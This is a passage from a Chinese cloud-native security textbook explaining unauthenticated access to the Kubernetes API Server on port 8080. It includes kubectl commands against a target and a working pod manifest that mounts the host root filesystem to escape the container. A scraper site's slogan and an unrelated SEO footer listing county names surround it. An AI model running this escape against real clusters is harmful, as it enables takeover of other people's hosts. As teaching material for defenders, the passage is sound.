官术网_书友最值得收藏!

4.2.1 Kubernetes API Server未授權訪問

在一個Kubernetes集群中,API Server處于通信的中樞位置,是集群控制平面的核心,各組件通過API Server進行交互。

默認情況下,API Server能夠在兩個端口上對外提供服務:8080和6443,前者以HTTP提供服務,無認證和授權機制;后者以HTTPS提供服務,支持認證和授權服務。在較新版本的Kubernetes中,8080端口的HTTP服務默認不啟動。然而,如果用戶在/etc/kubernetes/manifests/kube-apiserver.yaml中將--insecure-port=0修改為--insecure-port=8080并重啟API Server,那么攻擊者只要網絡可達,都能夠通過此端口操控集群[1]

例如,我們能夠直接遠程列出目標機器上運行的Pod:


root@k8s:~# kubectl -s $TARGETIP:8080 get pod
NAME     READY   STATUS    RESTARTS   AGE
victim   1/1     Running   3          88d

我們還能夠創建一個掛載宿主機目錄的Pod進行容器逃逸,進一步嘗試獲得宿主機權限[2],相關操作如下:


cat << EOF > escape.yaml
# attacker.yaml
apiVersion: v1
kind: Pod
metadata:
    name: attacker
spec:
    containers:
    - name: ubuntu
        image: ubuntu:latest
        imagePullPolicy: IfNotPresent
        # Just spin & wait forever
        command: [ "/bin/bash", "-c", "--" ]
        args: [ "while true; do sleep 30; done;" ]
        volumeMounts:
        - name: escape-host
            mountPath: /host-escape-door
    volumes:
        - name: escape-host
            hostPath:
                path: /
EOF
kubectl -s TARGET-IP:8080 apply -f escape.yaml
sleep 8
kubectl -s TARGET-IP:8080 exec -it attacker /bin/bash

結果如圖4-2所示。

圖4-2 在容器內訪問宿主機文件系統

[1] API Server默認監聽127.0.0.1,但可修改。

[2] 隨 書代碼倉庫路徑:https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0402-Kubernetes組件不安全配置/deploy_escape_pod_on_remote_host.sh。

主站蜘蛛池模板: 皮山县| 如东县| 天峻县| 锦屏县| 兴海县| 乐清市| 浦城县| 重庆市| 寿阳县| 德阳市| 行唐县| 安陆市| 孟连| 永州市| 永年县| 新昌县| 怀远县| 唐海县| 岳池县| 东兴市| 原阳县| 六枝特区| 姚安县| 天峻县| 青冈县| 柏乡县| 福贡县| 大洼县| 夏河县| 修水县| 玛多县| 衢州市| 和硕县| 南岸区| 徐州市| 榆中县| 开阳县| 辽阳县| 琼海市| 连山| 淅川县|